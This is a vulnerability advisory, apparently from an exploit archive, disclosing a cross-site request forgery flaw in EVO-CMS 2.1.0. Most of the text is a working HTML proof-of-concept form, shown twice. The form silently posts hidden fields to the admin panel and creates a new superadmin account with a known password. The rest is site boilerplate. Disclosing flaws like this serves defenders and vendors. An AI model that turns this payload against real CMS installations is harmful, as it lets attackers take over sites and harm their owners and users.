EVO-CMS 2.1.0 Cross Site Request Forgery

2015.02.25

Credit: Provensec

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-352

# Affected software:  evo cms
# Type of vulnerability: adding new admin (csrf)
# URL: http://www.evo-german.com/
# Discovered by: Provensec
# Website: http://www.provensec.com
#version:EVO-CMS 2.1.0
# Proof of concept

attacker was able to add new admin as there were no protection against csrf


poc

<html>

  <body>
    <form action="http://demo.opensourcecms.com/evocms/admin.php" method="POST">
      <input type="hidden" name="authors&#91;add&#95;name&#93;" value="test" />
      <input type="hidden" name="authors&#91;add&#95;aid&#93;"
value="test123" />
      <input type="hidden" name="authors&#91;add&#95;email&#93;"
value="test&#64;gmail&#46;com" />
      <input type="hidden" name="authors&#91;add&#95;url&#93;"
value="http://demo.opensourcecms.com/evocms/" />
      <input type="hidden" name="authors&#91;add&#95;admlanguage&#93;"
value="english" />
      <input type="hidden" name="authors&#91;add&#95;radminsuper&#93;"
value="1" />
      <input type="hidden" name="authors&#91;add&#95;pwd&#93;"
value="test123" />
      <input type="hidden" name="authors&#91;add&#95;pwd2&#93;"
value="test123" />
      <input type="hidden" name="op" value="addadmin" />
      <input type="hidden" name="module" value="authors" />
      <input type="hidden" name="submit" value="Create&#32;Administrator" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>











poc:

<html>

  <body>
    <form action="http://demo.opensourcecms.com/evocms/admin.php" method="POST">
      <input type="hidden" name="authors&#91;add&#95;name&#93;" value="test" />
      <input type="hidden" name="authors&#91;add&#95;aid&#93;"
value="test123" />
      <input type="hidden" name="authors&#91;add&#95;email&#93;"
value="test&#64;gmail&#46;com" />
      <input type="hidden" name="authors&#91;add&#95;url&#93;"
value="http://demo.opensourcecms.com/evocms/" />
      <input type="hidden" name="authors&#91;add&#95;admlanguage&#93;"
value="english" />
      <input type="hidden" name="authors&#91;add&#95;radminsuper&#93;"
value="1" />
      <input type="hidden" name="authors&#91;add&#95;pwd&#93;"
value="test123" />
      <input type="hidden" name="authors&#91;add&#95;pwd2&#93;"
value="test123" />
      <input type="hidden" name="op" value="addadmin" />
      <input type="hidden" name="module" value="authors" />
      <input type="hidden" name="submit" value="Create&#32;Administrator" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

EVO-CMS 2.1.0 Cross Site Request Forgery

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.